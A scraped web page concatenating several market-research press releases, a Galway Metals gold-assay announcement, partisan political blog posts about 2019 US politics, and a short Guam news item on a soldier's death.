rate. Additionally supportive Handheld Imaging Systems demand in the region. In North America, the U.S. is the dominating Handheld Imaging Systems market owing to increasing number of emergency room visits in the country. Europe Handheld Imaging Systems market is anticipated to grow significantly higher owing to higher cost effectives and price efficacy ratio. Japan and China is a growing at fast pace owing to continuous research and development initiatives form manufacturers in Handheld Imaging Systems research. Lack of research initiative and availability of traditional imagining techniques in Middle East and Africa and Latin America is decreasing pace of growth.Request to View TOC @ https://www.futuremarketinsights.com/toc/rep-gb-8800 Handheld Imaging Systems Market: Key ParticipantsExamples of some of the key participants in the Handheld Imaging Systems market are Hitachi, Ltd., Koninklijke Philips N.V., Butterfly Network, Inc, Analogic Corporation, General Electric Company, Fujifilm Holdings Corporation, Samsung Electronics Co., Ltd., Shimadzu Corporation, Siemens Healthineers, Inc., Teratech Corporation among others.PR-Inside.com: 2019-02-13 12:37:19

TORONTO, ON / ACCESSWIRE / February 13, 2019 / Galway Metals Inc. (TSX-V: GWM) (OTC PINK: GAYMF) (the "Company" or "Galway") is pleased to report first assays from the brand-new gold discovery at its Clarence Stream Gold Project in SW New Brunswick. Significantly, the new gold zone is in an area where there has been no previous drilling, centered between the George Murphy and Jubilee Zones, approximately 1km from each. This new discovery highlights the importance of Clarence Stream as one of Canada's most exciting new gold camps. The discovery hole, BL18-12, returned 7.3 g/t Au over 36.7 metres, including 38.1 g/t Au over 6.5 meters in multiple quartz veins containing abundant visible gold, starting only 51 metres downhole and 36 metres vertical (Figure 1).Drilling in hole BL19-15 also has intersected visible gold (VG) twice, approximately 50 metres NW of and 97 metres vertically below the VG seen in BL18-12 (Figure 2). Assays are pending. The new discovery, in holes BL18-12 and BL19-15, represents the 2nd deposit that Galway has found since the Company began drilling Clarence Stream in October 2016 (the George Murphy Zone (GMZ) being the other), and the fifth deposit identified in the Clarence Stream district to date. Currently, only two of these five deposits, the North and South Zones, are in the existing resource (September 26, 2017), which is scheduled to be updated in 2019."These results exceed even our most optimistic expectations and we stand by our belief that Clarence Stream represents a new district scale opportunity. Last year, the focus was on expanding the mineralization of the newly discovered George Murphy Zone. A few weeks after moving the drill rig, we are on to another new discovery. Not only are we excited by the large, high-grade intercept found close to surface, we are also encouraged by the consistency of the higher-grade interval within that larger intercept. This bodes very well for future exploration of the whole Clarence Stream camp in which Galway controls 65km of the main NE-SW trend. In addition, if the new discovery trends NW-SE, as we believe, that dramatically opens up the possibilities for new deposits along those trends as well as along the main NE-SW trend parallel to the main break, the Sawyer Brook Fault," cites Robert Hinchcliffe, President and CEO of Galway Metals.HighlightsBL18-12: 3 grams per tonne (g/t) Au over 36.7 metres (m) at a vertical depth of 36 m below surface, (including 38.1 g/t Au over 6.5 m; true widths unknown).BL19-15: Visible gold seen in the core at 190.6 m and 191.9 m downhole at a vertical depth of 133 m below surface in 35% Quartz Veining from 188-199 m downhole; assays are pending.2 g/t Au from a boulder, thought to be in-situ and containing VG, located 250 m SE of the Jubilee Zone and 850 m SW of the New Discovery Zone.New Discovery-Drilling Appears to Identify NW-SE Trend; Follow Up Holes Encouraging Galway has drilled 3 additional holes in the vicinity of the new discovery. Multiple zones were intersected in the discovery hole. These include intersections of 1.3 g/t Au over 5.2 m, 0.7 over 1.0m, and 7.3 g/t Au over 36.7 m, which included 38.1 g/t Au over 6.5 m. The drill holes located 100m east and 100m west intersected several mineralized zones as well, but they appear to host different mineralizationassays are pending. The fourth hole drilled, hole 15 on which assays are also pending, intersected quartz veining and visible gold in two places located approximately 50 metres horizontally NW of the new discovery and 133 metres vertical (97 metres vertical below the high-grade intercept in hole BL18-12). The intersections of VG in holes 12 and 15, if the same zone, would require a zone trending NW-SE and dipping steeply, or trending more east-west and dipping 60 degrees north. The angle of the vein to the core axes in holes 12 and 15 would favour the NW-SE trend.Southern New Brunswick hosts both NE-SW trending deposits such as Clarence Stream's South, George Murphy and Jubilee Zones, and NW-SE trending deposits such as the Bald Hill antimony deposit, the Mount Pleasant tin-tungsten deposit, and Galway's Clarence Stream North gold deposit. Numerous strong soil anomalies on Galway's properties also appear to have a NW-SE trend (Figure 3). Galway will undertake an optical down-hole survey that will interpret the actual orientation of the New Discovery Zone. It should be noted that the soil anomaly that was targeted has only 19 parts per billion (ppb) as its highest value versus much higher values (up to 1,030 ppb) elsewhere throughout the property that have yet to be drilled. 56.2 g/t Grab Sample Appears to be Hosted Within One of the Many NW-SE TrendsA grab sample, from a massive angular boulder thought to be approximately in-situ, grades 56.2 g/t Au, located approximately 250 metres SE of the Jubilee Zone and 850 metres SW of the New Discovery Zone. It contained fine VG and is a quartz zone at least 0.5 metres wide and situated within a zone of high-grade gold-in-soils that returned 380ppb, 311ppb, 319ppb, 201ppb and 91ppb that appears to trend NW-SE (Figure 4). For perspective, 10 ppb Au is considered anomalous. Galway plans on following up this discovery with drilling in coming months.Note: Early exploration activities and results from soil and boulders are preliminary in nature and not necessarily representative of the mineralization hosted on the property, nor are they conclusive evidence of the likelihood of a mineral deposit.Table 1: Assay ResultsHole IDFrom(m)To(m)Intercept(m)Aug/tGWM-18BL-1249.8586.5036.657.3incl.51.7558.256.5038.1incl.51.7552.500.7558.2incl.52.5053.501.0041.6incl.53.5054.501.0028.1incl.54.5055.501.0023.6incl.55.5056.501.0041.3incl.56.5057.501.0033.2incl.57.5058.250.7548.44.509.705.201.326.0027.001.000.7Visible Gold contained in all bolded intersects. 0.42 g/t Au was used for the bottom cut-off; True widths are unknown.Come and see us at the PDAC!Core of VG from Clarence Stream will be on display at Galway's PDAC Booth #2623A on Sunday and Monday, March 3rd and 4th.New Brunswick Junior Mining Assistance ProgramGalway would like to acknowlePR-Inside.com: 2019-02-13 12:23:44

Global Foam Food Container Market - Overview:Foam food container are disposable containers which are used for storing several food and beverages items. Foam food containers are mainly used for serving take-out food at restaurants or food outlets. Foam food containers are good thermal insulators which helps in keeping the food hot or cold for a longer time. In addition, another advantage of foam food container is that it can eliminate condensation and helps the food to be fresh. Furthermore, high insulation of foam food container makes them ideal for storing and transporting of food. Foam food container also helps in holding the food and prevent the spilling and leakage of liquid items in the food. Moreover, due to environmental issues related to the usage of foam products, many countries have banned the usage of Styrofoam and have started using biodegradable foam.Request For TOC@ https://www.futuremarketinsights.com/toc/rep-gb-6665 Global Foam Food Container Market  Research Methodology:Research methodology for foam food container market:Exhibit 1  Research Methodologyfoam food container marketGlobal Foam Food Container Market - Segmentation:The global foam food container market can be segmented by material type, product type, distribution channel, and by application. Pricing has been done based on material type segment in US$ million and the volume is considered in tonnes.On the basis of material type, the global foam food container market is segmented into -Expanded Polystyrene (EPS) foam food containerPolyurethane (PU) foam food containerBiodegradable foam food containerOn the basis of product type, the global foam food container market is segmented into -Hinges food foam containerUn  hinged food foam containerOn the basis of distribution channel, the global foam food container market is segmented into -B2BFood OutletsEducational institutionsCorporate officesHealthcareB2COnline retail / EcommerceSupermarket / HypermarketConvenience storesMom and Pop storesOn the basis of application, the global foam food container market is segmented into -Ready to eat foodFrozen foodIce cream & dairy productsBakery & confectionery food itemsMeat, seafood & poultry itemsFoam food container are mainly used for ready to eat food products which need to be consumed within 1-2 days. Foam food containers are mainly used in restaurants and food outlets which are mainly used for packaging of ready to eat food like burgers, sandwiches, hot dog, etc.Request Report Sample @ https://www.futuremarketinsights.com/reports/sample/rep-gb-6665 Global Foam Food Container Market  Key players:Key players for foam food container market can be segmented based on Tier 1, Tier2 and Tier 3 based categories.Tier 1 players: Genpak, LLC, Dart Container Corporation, Biopac India Corporation Ltd., Landaal Packaging Systems, Inc., Harwal Group of Companies, etc.Landaal Packaging Systems, Inc manufactures foam food containers which are mainly manufactured from biodegradable and compostable foam. Genpak LLC and Dart Container Corporation are few of the leading manufacturers of foam food containers market by revenue.Genpak LLC manufactures 16 types of foam food containers based on shape and size of the container for several food applications.Dart Container Corporation mostly manufactures foam food containers made from Expanded Polystyrene (EPS). Dart Container Corporation also provides printing capability for its 14 foam food containers products which it manufactures.Tier 2 players: Great Northern Corporation, Megafoam Containers Enterprise Sdn Bhd, Republic Plastics, Ltd., Styrotech Corporation, Packaging Resources Inc., Beltec Sdn bhd, Citi Pak LLC, etc.Tier 3 players: Reach Plastic Industrial Co., Ltd., Di Xiang Trading Co., Ltd., Bestern Industry And Trade Co., Ltd., Luheng Papers Company Ltd., Jeafer Foodservice Solutions Ltd., Industrial (Shenzhen) Co., Ltd., ZBR Packaging Materials Co., Ltd., etc.PR-Inside.com: 2019-02-13 13:02:23

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U.S. Office, 616 Corporate Way, Suite 2-9018,, Valley Cottage, NY 10989,, United States, T: +1-347-9616 Corporate Way, Suite 2-9018,Manager0347 918 3531Abhishek Budholiya+1-347-918-3531

A emesis bag, also called as a sickness bag, vomit bag, or disposal bag is provided to passengers on board long haul transport such as airplanes, boats and buses to collect and retain vomit in the event of motion sickness. The first airsickness bag was invented by Gilmore Schjeldahl in 1949 for the Northwest Orient Airlines.Emesis Bags Market: Drivers and RestraintsThe increasing long haul travel such as air travel, railways, and buses coupled with the development of infrastructure is the prime driver of the market. According to the International Civil Aviation Organization, Civil Aviation Statistics of the World and ICAO staff estimates, the number of air passengers, was 3.9 billion in 2017. According to the International Air Transport Association (IATA), passenger load factor grew at its highest value of all times of 80.4% in the year 2017. The number of city connections grew more than 18,200 in 2016, which is about 500 more than in 2015. The growing tourism sector is an indirect driver of the market. For example, in 2017, foreign tourist arrivals in India was 10.2 million which expanded to 2.1 million in 2018 an increase of 10.1 %.Request Sample Report@ https://www.futuremarketinsights.com/reports/sample/rep-gb-7541 However, the development of advanced designed and larger aircraft with greater passenger comfort have reduced the events of motion sickness. However, the growing alternative and secondary uses of emesis bags as a general purpose containers for waste collection is driving a faster market growth of the global emesis bags market. Innovative uses of emesis bags as photographic mailing envelopes, urinals or fecal collection and retaining devices, as a advertising space by airlines, is contributing to the growth of the emesis bags market.Product development especially the inclusion of super absorbable material and seals to avoid leakage of contents is expected to drive a larger market adoption of the global emesis bags market.Emesis Bags Market: SegmentationTo gain a birds eye view of the global emesis bags market, the report is segmented on the basis of material of construction, application area, distribution channels and region.Based on the material of construction, the global emesis bags market can be segmented as,PaperPlasticBased on the application area, the global emesis bags market can be segmented as,TransportAir TransportRoad TransportWater TransportMedicalOtherBased on the patient, the global emesis bags market can be segmented as,PediatricAdultBased on the distribution channels, the global emesis bags market can be segmented as,Online StoresRetailOthersEmesis Bags Market: OverviewThe global market for emesis bags is a high volume low value fragmented market dominated by large number of companies. The fragmented market is driving a large pressure on pricing resulting in small manufacturers dotting the scene. The manufacturers of developing regions with poor regulatory and inspections are driving additional pressures on advanced products owing to lower production cost. The market trends include a definite shift in favor of developing regions of Asia Pacific, such as India and China.Emesis Bags Market: Regional Wise OutlookThe global emesis bags market can be classified into the following region: North America, Latin America, Western Europe, Eastern Europe, Asia-Pacific, Japan, Middle East and Africa. North America, led by the U.S., is expected to account for the largest share in the global emesis bags market, owing to the large air travel and medical uses, large healthcare expenditure, and large per capita income in the region.The Asia Pacificemesis bags market excluding Japan is projected to expand and dominate the scene in the near future, owing to the growing healthcare and tourism sectors. For example, the domestic China air travel passenger market grew at a historic largest incremental volume, with a record 37 million larger passenger journeys in 2016 than in 2015.China and India are anticipated to account for the major share of the Asia Pacificemesis bagsmarket growth. Germany, France and the U.K., are projected to be the largest drivers of the Europe emesis bags market. TheEurope emesis bags market is expected to benefit by the large airline sector of Europe. The Middle East and Africa Emesis bags market is anticipated to be dominated by the gulf economies of Saudi Arabia, Kuwait, UAE and Qatar.Request to View TOC @ https://www.futuremarketinsights.com/toc/rep-gb-7541 Emesis Bags Market: Market ParticipantsSome of the major vendors operating in the global emesis bags market are MarketLab, Inc., Everfaith International (Shanghai) Co. Ltd., Hartwell Medical Corporation, Dynarex, Primacare Medical and others.Future Market Insights has announced the addition of the  Elevators and Escalators Market Region-wise Outlook report to their offering Upcoming

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Future Market InsightsU.S. Office616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705Email: sales@futuremarketinsights.comWeb: https://www.futuremarketinsights.comManager3479183531

Elevators and Escalators are the two unavoidable parts of everyday life of humans. Multifarious malls and skyscrapers make elevators and escalators the must-haves in every building. Busy time schedules and increased number of ageing population necessitate the facility of escalators and elevators in residential apartments across the globe. According to the U.S. Census Bureau, the ageing population (above 65 years) held 8.5% share of the total population worldwide during the year 2015 and is projected to increase its share to 12.0% by 2030.Moreover, factors like rapid urbanization, changing demographics and increasing constructional activities around the world is expected to drive the growth of the global elevators and escalators market rapidly. Safety is considered as the prominent factor in selection of elevators and escalators service providers.Elevator systems consist of hydraulic elevators, geared elevators, non-geared elevators and machine room less elevators (MRLs). Nowadays, MRLS are preferred over conventional geared elevators as they are technologically advanced, save space and consume less energy. Based on services, new installation service dominates the global elevators and escalators market due to increasing demand from the developing countries like China. However, maintenance and repair service is projected to grow at a significant rate over the forecast period. The manufacturers are focusing on improving the efficiency of the elevators and escalators coupled with the focus on neat and clean environment.Request Sample Report @ https://www.futuremarketinsights.com/reports/sample/rep-gb-2417 Elevators and Escalators Market: DriversOne of the major factors driving the growth of the elevators and escalators market is the increasing demand from the end use sectors like residential, commercial, hospitals, etc. Additionally, increasing focus of government towards high rise infrastructures coupled with increasing need of rapid transit are expected to fuel the growth of global elevators and escalators market. Moreover, continuous investment for the improvement of infrastructure at public places like railway station, airports, shopping malls, etc. is further expected to upsurge the demand for elevators and escalators during the forecast period. Tourism is another sector which encourages the demand for elevators and escalators in places of importance for the ease and convenience of the tourists visiting the respective countries.Elevators and Escalators Market: RestraintsA key factor affecting the growth of the elevators and escalators market negatively is its high initial cost of installation. Moreover, lack of skilled labour for the after sales maintenance is expected to hamper the growth of elevators and escalators market. Furthermore, escalation in consumption of energy and power by elevators and escalators is anticipated to retard the growth of the market during the forecast period.Elevators and Escalators Market: SegmentationThe global elevators and escalators market can be viewed as two separate niches too, namely elevators market and escalators market. Elevators, on the basis of its capacity are segmented into 450 kg  1150 kg, 1150 kg  1500 kg and 1500 kg  2000 kg. On the other hand, escalators are further segmented into moving walkway and moving stairs escalators.Global elevators and escalators market can be segmented on the basis of carriage type, application and region. On the basis of carriage type, the elevators and escalators market is segmented into passenger and freight. On the basis of application, the market is segmented into commercial, residential, hotels, transportation, parking and hospital. On the basis of regions, the global elevators and escalators market is segmented into North America, Asia Pacific excluding Japan (APEJ), Latin America, Western Europe, Eastern Europe, Japan and Middle East & Africa (MEA).Get More Information @ https://www.futuremarketinsights.com/reports/elevators-and-escalators-market Elevators and Escalators Market: Region-wise OutlookBased on regions, Asia Pacific led by China and India, holds about 65% share in total ageing population of the world and is expected to be the most prominent revenue generation region in the global elevators and escalators market. Europe followed by North America is expected to witness positive growth during the forecast period.Elevators and Escalators Market: PlayersSome of the examples of the players identified in the global elevators and escalators market are as follows:Otis Elevator CompanyKone CorporationSchindler GroupThyssenkrupp AGFujitecHitachi, Ltd.Mitsubishi Electric CorporationToshiba Elevators and Building Systems CorporationHyundai Elevator Co., Ltd.SJEC CorporationRequest to View TOC @ https://www.futuremarketinsights.com/toc/rep-gb-2417PR-Inside.com: 2019-02-13 11:08:00

In airline industry, customers across the globe are demanding for high speed internet access during their travel. In order to meet rising demand from passengers, the operators around the world are implementing broadband and satellite based connectivity solutions to their airplanes. Currently, concept of connected aircraft has gone far beyond from just a provision of internet access over 30,000 feet to travellers. Connected aircrafts has ability to send and receive the real time data from ground based operating systems, that provides the critical information related to avionic system in real time. In order to facilitate the real time data capturing, Airplanes are used as node in the sky to capture the hundreds of gigabytes of data from take-off to landing that helps to improve safety and efficiency of flight.Connected Aircraft Market: Drivers and RestraintIn addition to inflight connectivity, airline industry also has the need of real time weather data gathering systems to ensure flight safety from changing weather conditions. Growth in demand for internet connectivity by passengers, need for real time communication system with ground based operations & maintenance team and growth in demand for real time data gathering system in order to improve safety and efficiency of aeroplane are the major drivers for connected aircraft market.Request For Report Sample @ https://www.futuremarketinsights.com/reports/sample/rep-gb-1910 Major operators across the globe are using relatively slow VHF connections and data is being stored in broader ecosystem. Replacement of traditional data connections and data optimisation, are the major challenges for connected aircraft market.Connected Aircraft market: SegmentationConnected aircraft market is categorised on the basis of components and connectivity technologies.On the basis of components, connected aircraft market can be segmented in to Aircraft communication & reporting system (ACRS), aircraft condition monitoring system (ACMS) and electronic fleet bag. Aircraft communication and reporting system is used to communicate with ground based operations team in real time. ACRS is consists of antennas, wireless access points, modems and on-board server. Aircraft condition monitoring system (ACMS) is used to monitor the health of equipment and devices on plane.On the basis of connectivity technologies, connected aircraft market is classified into L band, Ka- Band and Ku-Band. Ka-Band applications are specifically operates in the frequency range of 26.5 to 40 GHz electromagnetic spectrum, whereas Ku-Band applications uses the 12 to 18 GHz range of electromagnetic spectrum. Size of the antenna used for Ka-Band services is smaller than that of Ku-Band services.Segmentation on basis of regions:Connected Aircraft Market is sub-segmented into 7 key regions- North America, Latin America, East Europe, West Europe, Asia-Pacific excluding Japan, Japan and Middle East & Africa.Connected Aircraft Market: Region wise outlookCurrently, North America is the largest region in overall connected aircraft market. US is the largest market followed by Canada, as there is growth in demand for inflight internet by air passengers across the region.Middle East and Africa was the fastest growing market in 2015, due to huge investment by key players in business airlines in the region.Request For Report Table of Content (TOC): https://www.futuremarketinsights.com/toc/rep-gb-1910 China and Germany were the leading connected aircraft markets of Asia pacific and Europe region respectively.Connected Aircraft Market: Key PlayersHoneywell International, Inc (US), Inmarsat plc (UK), Iridium Communications Inc (US), Intelsat, S.A (Luxemburg), Eutelsat S.A.(France), Gogo Inc (US), Panasonic Corporation (Japan), Kontron AG (Germany), Rockwell Collins, Inc.(US) , Zodiac Aerospace (France), Thales Group (France).Blow Fill Seal Technology Market: Cutthroat Competition Between North America & Western Europe in Terms of Market Share: Global Industry Analysis (2012 - 2016) & Opportunity Assessment (2017 - 2027)

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PR-Inside.com: 2019-02-13 11:01:01

In North America, pharmaceutical companies are extensively employing blow fill seal (BFS) technology to facilitate their need for unit dose packaging. A greater demand for unit dose packaging in pharmaceutical industries is prevalent in other parts of the world, as well. Latin American countries such as Brazil and Mexico are witnessing a shift from conventional packaging to advanced pharmaceutical packaging, wherein unit dose packaging solutions are gaining preference. Through BFS technology, unit dose packaging solutions can improve patient adherence to prescribed drug regime. In addition to this, packaging companies are actively adopting blow fill seal machines due to their low energy consumption, reduced waste generation, and an overall low carbon imprint.Request sample of Report with table of contents and Figures @Future Market Insights recent study on the global blow fill seal technology market observes the rising preference to unit dosage packaging as a key driver. According to the report, the global market for BFS technology is anticipated to reach US$ 3.1 Bn value by the end of 2017.The report projects that prime demand for flexible glass vials will continue to drive the need for BFS technology in the packaging industry. By the end of 2027, the global market for BFS technology will have soared robustly at 8.7% CAGR, bringing in revenues worth over US$ 7.2 Bn.Prefilled Syringes & Injectables  Top-selling Products of BFS TechnologyWith the use of blow fill seal technology, packaging companies are improving the flexibility of products namely, bottles, ampules, vials, and prefilled syringes & injectables. The report estimates that towards the end of 2027, more than 14 billion units of products developed by BFS technology will be sold across the globe. Among these, the sales of prefilled syringes & injectables will be considerably higher. Throughout the forecast period, nearly three-fourth of global BFS technology market value will be accounted by sales of prefilled syringes and injectables.The report also projects a steadfast rise in adoption of polypropylene as raw material. By 2017, over US$ 1.1 Bn worth of BFS products sold in the global market will made from polypropylene. However, in terms of revenue share, the global market for BFS technology is anticipated to witness dominance of polyethylene materials. With more than 60% share on global revenues, polyethylene materials will be a widely-preferred raw material in the global blow fill seal technology market, however, their adoption will incur a marginal decline towards the latter half of the forecast period.Customize this report as per your requirement @North America  Largest Market for BFS TechnologyA key highlight of the report reveals that pharmaceutical packaging is the outright dominant end-use of BFS technology. While the adoption of blow fill seal machines is likely to gain momentum in the food & beverage industry, pharmaceutical end-use of BFS technology will procure over 97% share on global market, throughout the forecast period. Thriving pharmaceutical sectors across countries such as the UK, Canada, India, China and the US are likely to boost the markets growth to a significant degree.North America, in particular, is expected to dominate the market with over 35% share on global BFS technology revenues. Through 2027, North Americas blow fill seal technology market will have soared at 9.8% CAGR in terms of value. Western Europe and the Asia-Pacific excluding Japan (APEJ) region will also be at the forefront of expansion of global BFS technology market. The report also profiles leading packaging companies employing BFS technology across the world. The key players in the global market for blow fill seal technology include Pharmapack Co. Ltd., Amanta Healthcare Ltd., Automatic Liquid Packaging Solutions LLC., Asept Pak, Inc. Unither Pharmaceuticals, Rommelag Kunststoff-Maschinen Vertriebsgesellschaft mbH, Catalent, Inc., Curida AS, Unipharma LLC., Weiler Engineering, Inc., GlaxoSmithKline plc., Takeda Pharmaceuticals International AG, Nephron Pharmaceuticals Corporation, Horizon Pharmaceuticals, Inc., Brevetti Angela S.R.L., Recipharm AB, SIFI S.p.A, Laboratorios SALVAT, S.A., The Ritedose Corporation, and Unicep Packaging, LLC.Ask a question to Analyst @Senate Majority Leader Mitch McConnell says he plans a floor vote on the Green New Deal resolution proposed by Rep. Alexandria Ocasio-Cortez and endorsed by many congressional Democrats. McConnell wants Senate Democrats to go on record on this radical proposal. He especially wants those running for president and those who may face tough reelection campaigns in 2020 to do so.

Would such a vote be a stunt? You could call it that, but you could also use the same word to describe a great many votes in both chambers.

The Green New Deal is a big deal, potentially. I see no reason why the Senate shouldnt express its view of the idea.

Ocasio-Cortez responded to McConnell by saying, in effect, bring it on. She stated:

[McConnell] is trying to bully the party and hes banking on people not being courageous. I think people should call his bluff.

When McConnell banks on something, he usually has good reason to. This seems like a case-in-point.

Consider Sen. Sherrod Brown, one of the Senates most left-wing members and a potential candidate for president. Yesterday, he said he supports addressing climate change aggressively, but would not weigh in on the merits of the Green New Deal.

Brown explained:

Im not going to get in the position of every time somebody has a good idea or a big idea that I have to talk in great detail about my position on it.

If he runs for president, Brown should talk in detail about his position on big ideas. In any case, McConnell wouldnt be asking Brown to talk in detail about his position. Hed only be asking him to take one.

Elizabeth Warren and Tulsi Gabbard, both presidential candidates, bobbed and weaved when asked about the Green New Deal, according to this account in the Washington Post. McConnell will do the electorate a favor if he forces them and others to take a stance (or to refuse to vote).

A vote would shed some light on the Democratic field. We dont want our democracy to die in darkness. So this is interesting news:

Snow falls in Hawaii a few times a year in winter on the states highest peak, Mauna Kea rising 13,803 elevation in feet, but the white stuff is rarely seen at elevations below 9,000 feet to 10,000 feet. On Sunday, Mauis 10,ooo-foot Haleakala received a thick dusting and snow also accumulated at 6,200 feet in Polipoli State Recreation Area. Officials at the Department of Land and Natural Resources say this could mark the lowest-elevation snowfall ever recorded in the state.

But remember, hottest years on record yadda, yadda, yadda.

 Astronaut Mark Kelly, whose most recent political expression was his groveling for forgiveness for approving citing the racist oppressor Winston Churchill, has announced that he will challenge Martha McSally for the Arizonas U.S. Senate seat up in the 2020 election. On paper he looks like a formidable candidate. I wonder if the Democratic Party left will think so (groveling about Churchill notwithstanding):

The partys left wing is holding off on the celebrations for now. Public records show Kelly voted in the 2012 GOP primary while living in Texas, meaning he likely cast a ballot for either Mitt Romney or one of the host of conservatives running against President Barack Obama and either Ted Cruz or David Dewhurst for Senate. (A Kelly spokesperson said he voted for Obama in the general election.) And progressives both in the state and nationally have long been preparing for Rep. Ruben Gallego, a Latino veteran of the war in Afghanistan and member of the Congressional Progressive Caucus, to run for the seat. Gallego is still considering a bid, potentially creating an ideological clash with Kelly. Its one of a host of potentially pugnacious primaries Democrats could face in 2020 as they seek to win back control of Congress upper chamber.

Stock up on popcorn.

 This is interesting:

With the U.S. and China starting a fresh round of trade talks this week, a new survey showed more American executives see their businesses gaining from a potential increase in tariffs than being hurt by it. About 59 percent of some 500 firms said they expected profits to benefit should tariffs on imports rise, more than double those who saw a negative impact, according to a UBS Group AG survey released this month. An increase in domestic investment was listed as one key area of advantage should the cost of doing businesses abroad grow.

Trump may well win his trade war with China, as weve speculated before.

 What a surprise: Panera learns that socialism doesnt work:

Panera has announced that it will close the last of its charitable stores, which allowed people to pay whatever they wished for a meal, because it was costing too much dough. The Boston store will shut its doors permanently this Friday, February 15. Panera Cares were indistinguishable from other Panera eateries in their branding, menu, or furnishings, except they announced that no one would be turned away if they did not pay one cent of the suggested prices. Those who could not afford to pay full price could volunteer for an hour at the store in exchange for the food. The first store debuted in 2010 and, soon, they served 4,000 people a week. At its height the unique model had four other locations in Portland, Oregon; Chicago, Illinois; Dearborn, Michigan; and the St. Louis suburb of Clayton, Missouri. . . What happened next was predictable. Swarms of high school students helped themselves to lunch each Monday through Friday. The homeless dined there every meal, every day. . . The charity experiment produced other negative externalities: The homeless began injecting intravenous drugs in the bathrooms, and neighbors said residential crime increased. One employee remembered, Wed open the door and look, and theres blood everywhere. So then wed have to close that bathroom. By the end, the Boston location changed the code for the womens restroom several times a day to prevent drug abuse.

 Finally, there is still some curious economic news. For the first time in a long time, there are now more job openings than there are officially unemployed people looking for work (see first chart below). Job openings are up in just about every category except manufacturing (see second chart). That is not to say that higher labor force participation rate wouldnt expand the labor pool (which would be a good thing), or that the ranks of the unemployed have the skills to match up with the openings (likely not), but it is surprising to see the surveys of small business showing such a sudden swoon in optimism. Maybe politics can explain some of thisa fear that the Democrats in Congress might actually succeed in hiking taxes or regulations, but it may be something else small business owners may be seeing on the ground. (Note that even with this sudden decline, small business optimism is still way higher that it ever was under Obama.)I am so old, I can remember when liberals invented the term fake news to refer to pro-Trump commentary on Facebook. Those days are long gone, of course, and President Trump has made the phrase his own. Fake news now refers to the partisan falsehoods that dominate the New York Times, the Washington Post, the Associated Press, and many other news outlets.

Which you can tell by the fact that when the phrase appears, reporters understand that they are being called out. In the proud tradition of free speech totalitarianism, which they so often represent, they are trying to stamp out use of the phrase that they invented. Bloomingdales inadvertently transgressed by selling a t-shirt that included the legend Fake News:

Like Saddam Husseins invasion of Kuwait, that couldnt be allowed to stand. Reporters swung into action, as detailed here. Of course, Bloomingdales hadnt intended to transgress against liberalism, so it groveled as you would expect:

Thank you for bringing this to our attention and we apologize for any offense we may have caused, the company said in a statement posted to Twitter. We take this feedback very seriously and are working quickly to remove this t-shirt. Again, thank you for taking the time to alert us.

That apology was deemed inadequate and insincere by reporterssort of like Ilhan Omarsand reporters continued their assault on the company. Which was only trying to sell t-shirts, not delegitimize and destroy a foreign country. But I digress.

It isnt surprising that the totalitarian impulse is strong in lots of Americans who consider themselves superior to their deplorable neighbors. But it might be considered newsworthy that the totalitarian impulse is strong among American journalists.Senator Amy Klobuchar  Minnesotas own 2020 Democrat presidential candidate  appeared for an interview on Special Report with Bret Baier yestereday. The video clip is accessible here. I thought the interview showed Senator Klobuchars at her best. She was likable. She did well.

Her campaign theme  we need to stop governing from chaos and move to opportunity  needs some work. It seems to me to have been retrieved from Being There. It is stunningly empty.

Bret Baier was a friendly interviewer. He credited her with moderation and bipartisan legislative accomplishment. I think her moderation is mostly fake, but she disclaimed socialism. She proclaimed herself a supporter of capitalism. She also expressed unequivocal support of Israel. Given the current environment of the Democratic Party, she deserves credit. I was impressed.

But good grief! Bret, lets take a look at her supposed bipartisan legislative accomplishment.

Former funnyman and former Minnesota Senator Al Franken titled his memoir Al Franken, Giant of the Senate. He posed for the books self-mocking cover. The title and the photograph made a small concession to self-awareness, or to the public relations value of pretending self-awareness, but he deserves credit for the thought. It was a joke.

Senator Klobuchar pretends no such self-awareness. With the active assistance of her hometown newspaper and its counterparts on the national stage, Klobuchar holds herself out as a giant of the Senate. She has a certain genius for avoiding outspoken stands on important issues and leading the way on trivial matters calculated to garner broad public support. If she secures a favorable headline or two in the process, its no coincidence. It is the true object of her efforts.

Senator Klobuchar is a reliable vote for the Democratic Party line, but she is quiet about it. She doesnt want to upset anybody. She wants the reputation of a problem-solver who is above nasty partisanship. She wants to be deemed a giant of the Senate, without the irony.

Senator Klobuchar has attached her name to many bills that dont amount to much, such as the proposed 2015 bill to resolve the crisis of the detergent pod. It represents the reductio ad absurdum of the vacuity to which she has reduced herself in the service of self-promotion. She relies on such vacuity to present herself as the true giant of the Senate.

Senator Klobuchar has indeed been ranked the most productive senator with bills passed into law. Thats supposed to be a good thing. The ranking relied on data compiled by Medill News Service from the tracking website GovTrack for the 114th Congress (Jan 6, 2015-Jan 3, 2017). Klobuchar was found to have sponsored or co-sponsored 27 bills that had been enacted into law in the session.

Klobuchar touted her accomplishment in a December 2016 press release. The Star Tribune dutifully followed up in a story by Allison Sherry entirely lacking in analysis. In terms of productivity, Franken ranked right up there with Klobuchar. Perhaps they were both giants of the Senate.

Klobuchar earned recognition with 27 bills that she sponsored or co-sponsored. They are set forth here. Five of the 27 bills concern naming or renaming federal facilities. The late 18-term Eighth District Congressman Jim Obersrtar loomed large in Klobuchars accomplishment, such as it was. Most of the rest of the bills carrying Klobuchars name amount to little more than nothing. Even so, Klobuchars bill to resolve the crisis of the detergent pod apparently didnt make it. (She claimed credit for action taken by Procter & Gamble on its own.)

I havent observed much of a sense of humor in Senator Klobuchars public persona, but anyone who looks into her claim to legislative fame will find a good joke hidden in it."My vision for Guam  after July 21  is to get back to normal as possible," Gov. Lou Leon Guerrero said in her remarks at an economic forum h Read moreA 19-year-old Guam son was found dead in his Army barracks in Camp Humphreys, South Korea.

The Army confirmed it is investigating the death of Pvt. Claytun N. Cepeda, according to Stars and Stripes.

Cepeda was found unresponsive in his barracks Sunday. The circumstances surrounding his death are under investigation.

Family members are still trying to process the loss of their loved one and are struggling to get answers from the Army.

Cepeda graduated from Simon Sanchez High School in 2018 and joined the military for his family to better their lives, according to his relatives. He will be remembered for his love of music and his kindness.

Cepeda was a water purification specialist who joined the Army in June 2018 at Pearl Harbor, Hawaii. He was assigned to A Company, 602nd Aviation Support Battalion, 2nd Aviation Regiment, 2nd Infantry Division, according to a press release from the Army.

Battalion commander Lt. Col. Jonathan Easley expressed condolences to the family and friends of Cepeda, whose awards and decorations included the Korean Defense Service Medal, Army Service Ribbon and the Overseas Service Ribbon, Stars and Stripes reported.

